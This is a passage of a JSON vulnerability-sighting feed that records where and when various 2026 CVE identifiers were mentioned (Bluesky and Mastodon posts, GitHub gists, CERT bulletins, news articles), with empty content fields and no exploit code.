"CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3md2mt7cihc2m", "content": "", "creation_timestamp": "2026-01-23T02:13:02.262220Z"}, {"uuid": "f05e3be9-8492-4b4e-8a73-c0fe482d9501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md2nl6pq722a", "content": "", "creation_timestamp": "2026-01-23T02:26:26.243374Z"}, {"uuid": "955355a0-ed4a-4ead-84c6-a74cf1f368dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md2pxwjvhm2m", "content": "", "creation_timestamp": "2026-01-23T03:09:21.554211Z"}, {"uuid": "f8244901-dd93-4893-9f1f-b928374e85d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3md33p4w6gk2q", "content": "", "creation_timestamp": "2026-01-23T06:39:14.410772Z"}, {"uuid": "b0952ba2-266e-4533-b532-1798c74b88f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3md3evkxhyh2p", "content": "", "creation_timestamp": "2026-01-23T09:23:51.449997Z"}, {"uuid": "b954ec46-e783-4ea1-a52c-3936535aff30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/velstadtcompany.bsky.social/post/3md3g6lhwys26", "content": "", "creation_timestamp": "2026-01-23T09:46:52.078514Z"}, {"uuid": "52391384-2f67-4bcb-9c5e-7469e36dcaff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mhuar2yhtn2i", "content": "", "creation_timestamp": "2026-03-25T04:27:05.259294Z"}, {"uuid": "47aac99c-08f7-479b-8412-a891a1084ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2072", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116287932364387625", "content": "", "creation_timestamp": "2026-03-25T04:30:31.431860Z"}, {"uuid": "e013d363-ca1b-43aa-8db5-d502a4d52a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "ebc4eaf0-ff59-44a4-955d-8e6bbd444ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2072", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhuaxb5hob2i", "content": "", "creation_timestamp": "2026-03-25T04:30:33.146115Z"}, {"uuid": "9b257bc3-d1be-4a7d-b43b-ce1e399b1ea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "da065eb0-23c5-4845-8241-65875dfd1296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "6b85ab98-8993-4413-87b9-61f055d48829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhcvdp542h2y", "content": "", "creation_timestamp": "2026-03-18T06:47:29.839990Z"}, {"uuid": "88f60bd5-f2bb-48d6-b3e3-17ac13a5b3c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20777", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "5f5fb319-bdf0-4b8f-895c-f346d892d199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3mhwzro4n2k2p", "content": "", "creation_timestamp": "2026-03-26T07:00:11.356877Z"}, {"uuid": "f996fb9b-9020-4139-8a28-4aaec84ab125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mhcxjpjeh722", "content": "", "creation_timestamp": "2026-03-18T07:26:41.833033Z"}, {"uuid": "e59732e4-2076-400b-bcc1-926d19c34b59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mhgmnh74qc2b", "content": "", "creation_timestamp": "2026-03-19T18:22:32.338564Z"}, {"uuid": "d6b6883f-6133-4bef-bcdd-20740b3cfcb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20004", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhvr2bwtq22m", "content": "", "creation_timestamp": "2026-03-25T18:51:13.947230Z"}, {"uuid": "04df4ab8-c1f3-4e01-9bb2-8fd5e55dbc7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/116297917195867330", "content": "", "creation_timestamp": "2026-03-26T22:49:47.360080Z"}, {"uuid": "c1e0fca4-469c-4548-9dd1-a7968cde6b98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mhgiyembby2r", "content": "", "creation_timestamp": "2026-03-19T17:17:04.093486Z"}, {"uuid": "8ce8a71d-ae2c-4554-8fc3-76902abdf4e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20613", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md42nualjr2r", "content": "", "creation_timestamp": "2026-01-23T15:53:14.623220Z"}, {"uuid": "49dcf82e-a51e-4860-a04c-49e8f20d3e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3md4dp75pns2w", "content": "", "creation_timestamp": "2026-01-23T18:35:04.783197Z"}, {"uuid": "2f9f3009-3872-4da8-9986-c6105ea14e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3md4mesaeyn2o", "content": "", "creation_timestamp": "2026-01-23T21:10:17.701794Z"}, {"uuid": "3c1d7b51-d9be-48f4-8e7e-cd828d16e341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://www.darkreading.com/endpoint-security/exploited-zero-day-flaw-cisco-uc-affect-millions", "content": "", "creation_timestamp": "2026-01-23T19:56:42.000000Z"}, {"uuid": "0cd29bbd-7632-4457-b616-29ad3331d75a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20912", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4wurdqaw27", "content": "", "creation_timestamp": "2026-01-24T00:18:11.841850Z"}, {"uuid": "ee2f7d1e-5f39-4015-8133-92b11ac477f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20897", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4wuzfs3q22", "content": "", "creation_timestamp": "2026-01-24T00:18:20.121423Z"}, {"uuid": "33859c16-b7fa-4e3a-bc0c-ea8a99320dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20736", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md4wva437k2v", "content": "", "creation_timestamp": "2026-01-24T00:18:27.114168Z"}, {"uuid": "500d3d17-594c-4dc3-aa34-1dd8a6407a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3md55vosjgo2m", "content": "", "creation_timestamp": "2026-01-24T02:23:58.175244Z"}, {"uuid": "47376a52-adf4-4ec5-91f0-bf6b838fd1a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhhhscnyns2r", "content": "", "creation_timestamp": "2026-03-20T02:28:26.398114Z"}, {"uuid": "45562bb1-82ee-44e2-bb4c-9d8df740406e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3md5pqikyhk2o", "content": "", "creation_timestamp": "2026-01-24T07:43:15.820894Z"}, {"uuid": "1022aca7-5650-4410-96c7-5ef7edbab771", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20750", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md5pv6vbax27", "content": "", "creation_timestamp": "2026-01-24T07:45:49.442488Z"}, {"uuid": "a34ca257-4054-44c7-8f3b-125f9228014c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhgj6d6zcv2n", "content": "", "creation_timestamp": "2026-03-19T17:20:23.590276Z"}, {"uuid": "10735896-4c8a-4c51-a2eb-3bbb2477be3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-005-critical-vulnerability-impacting-microsoft-sharepoint-server-cve-2026-20963", "content": "", "creation_timestamp": "2026-03-20T17:23:30.000000Z"}, {"uuid": "5f2ad6d9-9928-42aa-b732-b9703b3a3eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20736", "type": "seen", "source": "https://gist.github.com/alon710/3964b00bf082e82780fa93c032dab43f", "content": "", "creation_timestamp": "2026-01-24T21:22:13.000000Z"}, {"uuid": "37aac5f7-09be-43ec-9917-6633c4f12ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/cwealthsentinel.bsky.social/post/3mhjdhf4gtj2u", "content": "", "creation_timestamp": "2026-03-20T20:16:04.137801Z"}, {"uuid": "af835604-60e0-4516-a2bf-296d97326281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3md6dmusf4k2x", "content": "", "creation_timestamp": "2026-01-24T13:39:07.557576Z"}, {"uuid": "edb685f8-e549-43b1-84ad-bcb66d26909d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3md6dv5ruuk2x", "content": "", "creation_timestamp": "2026-01-24T13:43:45.508476Z"}, {"uuid": "6ce04cae-948e-46a1-90cb-6010b9cf54b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3md6dx3ckp32z", "content": "", "creation_timestamp": "2026-01-24T13:44:47.496946Z"}, {"uuid": "5bd4bb26-5715-409c-96e0-12d5207b989f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20904", "type": "seen", "source": "https://gist.github.com/alon710/ae468b15fdd82ad5a6ec81973cecdb91", "content": "", "creation_timestamp": "2026-01-24T21:22:15.000000Z"}, {"uuid": "22492844-70fc-491b-b94f-e7adb81fd7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20912", "type": "seen", "source": "https://gist.github.com/alon710/cc94624c9ce09025cc909ff697f1a74b", "content": "", "creation_timestamp": "2026-01-24T21:22:14.000000Z"}, {"uuid": "ddf5b586-954b-47ce-97df-77b59ecc8ccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20897", "type": "seen", "source": "https://gist.github.com/alon710/fd7a8ba187046b7eeda01ae43554e2fd", "content": "", "creation_timestamp": "2026-01-24T21:22:12.000000Z"}, {"uuid": "9ba9d56e-a207-4201-8d77-18776841c343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20888", "type": "seen", "source": "https://gist.github.com/alon710/c04d0150fe6489cd6aa0244c5949dba1", "content": "", "creation_timestamp": "2026-01-24T21:22:10.000000Z"}, {"uuid": "6d5d1a24-165a-4ff1-a06b-b8aa7ea04183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20800", "type": "seen", "source": "https://gist.github.com/alon710/12a87bde6b1571c741d36ec36f95b2c8", "content": "", "creation_timestamp": "2026-01-24T21:22:09.000000Z"}, {"uuid": "b742519e-e4db-47b9-a519-20f49eee77b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20750", "type": "seen", "source": "https://gist.github.com/alon710/79ab585d7925d59f7a9293483cc487f4", "content": "", "creation_timestamp": "2026-01-24T21:22:08.000000Z"}, {"uuid": "e312e3db-2fea-4985-a433-c8ec74ce29f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20883", "type": "seen", "source": "https://gist.github.com/alon710/010a2ce28ba31a738b1c71b60bbd8b59", "content": "", "creation_timestamp": "2026-01-24T21:22:07.000000Z"}, {"uuid": "f0cacea7-99ad-4a22-8dde-c146032fb939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20660", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "e005e466-7f6e-44dc-94fc-d1648dd7ad2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhexe6az2d2r", "content": "", "creation_timestamp": "2026-03-19T02:28:52.598676Z"}, {"uuid": "3c2b82de-6127-4f6e-a8c5-0716c476eb0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://www.cert.se/2026/02/patchtisdag-februari-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-02-11T11:50:00.000000Z"}, {"uuid": "6d9a21d8-46e4-41c7-a4f9-bbae676794c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhexe6az2d2r", "content": "", "creation_timestamp": "2026-03-19T02:28:52.441292Z"}, {"uuid": "a2c2eaea-636f-430b-9363-4ea8b09c81ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhexe6az2d2r", "content": "", "creation_timestamp": "2026-03-19T02:28:52.769189Z"}, {"uuid": "97ce67d7-b366-4760-8251-3b670f8f9305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://thehackernews.com/2026/03/apple-fixes-webkit-vulnerability.html", "content": "", "creation_timestamp": "2026-03-18T05:31:00.000000Z"}, {"uuid": "2269c8fa-31b5-4974-afed-546003fe188f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhexywfqty2y", "content": "", "creation_timestamp": "2026-03-19T02:40:29.338955Z"}, {"uuid": "381a6ce1-4c9e-4e0d-9357-e68df331cdae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mi2zoxn4y726", "content": "", "creation_timestamp": "2026-03-27T21:09:16.114766Z"}, {"uuid": "026f9c3c-57b2-452d-96ae-3c1bab9d4e9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mi2zoy4sx52z", "content": "", "creation_timestamp": "2026-03-27T21:09:16.890785Z"}, {"uuid": "15be0065-ec4f-4b90-b5ec-a5639a1d7a1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20613", "type": "seen", "source": "https://gist.github.com/alon710/891c3e4b6ee1aabb60753f018dde5b8b", "content": "", "creation_timestamp": "2026-01-24T21:22:46.000000Z"}, {"uuid": "1c8306d5-2215-48dc-be37-7a2677dc36b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://www.cert.se/2026/02/cert-se-veckobrev-v7.html", "content": "", "creation_timestamp": "2026-02-13T12:37:00.000000Z"}, {"uuid": "bc913bac-4c80-450e-9d85-ebb35d48ab17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://www.cert.se/2026/02/patchtisdag-februari-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-02-11T11:50:00.000000Z"}, {"uuid": "cb37bbd6-2c29-4fa0-970d-21d670513de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mhf4kjydme22", "content": "", "creation_timestamp": "2026-03-19T04:01:54.986415Z"}, {"uuid": "19421652-2e10-486a-b730-4640ccb7bed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-darksword-ios-flaws-exploited-attacks/", "content": "", "creation_timestamp": "2026-03-24T03:00:02.000000Z"}, {"uuid": "8bdbc106-24bc-4535-9a42-36ef4be94ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://gist.github.com/alon710/2d3e86b3181f9d89826fddcea380f1d5", "content": "", "creation_timestamp": "2026-01-24T21:23:49.000000Z"}, {"uuid": "e3f0bf2f-1256-458c-b56f-b08f71e080d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mhf6xsxgxj22", "content": "", "creation_timestamp": "2026-03-19T04:45:07.863735Z"}, {"uuid": "a8257487-319d-410b-9067-e8e027cb4b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3mhfb7qu4hg2e", "content": "", "creation_timestamp": "2026-03-19T05:25:21.843420Z"}, {"uuid": "e976cbe4-5aca-4a8c-9e32-33a32a4035b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhjg3darlm2q", "content": "", "creation_timestamp": "2026-03-20T21:03:02.466842Z"}, {"uuid": "6493482b-9160-416b-8fe9-2b2311ca2127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20695", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "41455a48-310d-41ad-a087-4a4e6874cb7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mi5xshr7w22g", "content": "", "creation_timestamp": "2026-03-29T01:13:32.388972Z"}, {"uuid": "7c051dcd-1c48-4e89-99ca-3b174d899ee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20699", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "1be2b4f7-2b28-4c76-893e-c655bfa93ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhvyyiatph2u", "content": "", "creation_timestamp": "2026-03-25T21:13:23.854598Z"}, {"uuid": "58c09edd-ac3b-4fc1-bf04-29c1c1a1743d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20698", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "329f627a-872f-482f-9df6-a998d9791f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20633", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "07cbf351-3c9f-4576-b141-c4e13e82f93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mhjibydtbe2k", "content": "", "creation_timestamp": "2026-03-20T21:42:31.820720Z"}, {"uuid": "d527621b-1891-42f8-a632-2b4abd1904e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20657", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "c38e42d9-1e98-487a-b2f4-3284403e04b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20613", "type": "seen", "source": "https://gist.github.com/alon710/3a3cbdc6e8a89a396c87f88e8e3185c7", "content": "", "creation_timestamp": "2026-01-24T22:18:17.000000Z"}, {"uuid": "e10adddc-fecb-4f84-9962-e2669e1d1040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20613", "type": "seen", "source": "https://gist.github.com/alon710/c254347b753d67602993d4183df9a63d", "content": "", "creation_timestamp": "2026-01-24T22:18:15.000000Z"}, {"uuid": "ceb5bae7-7912-4e25-af7b-748ef384f554", 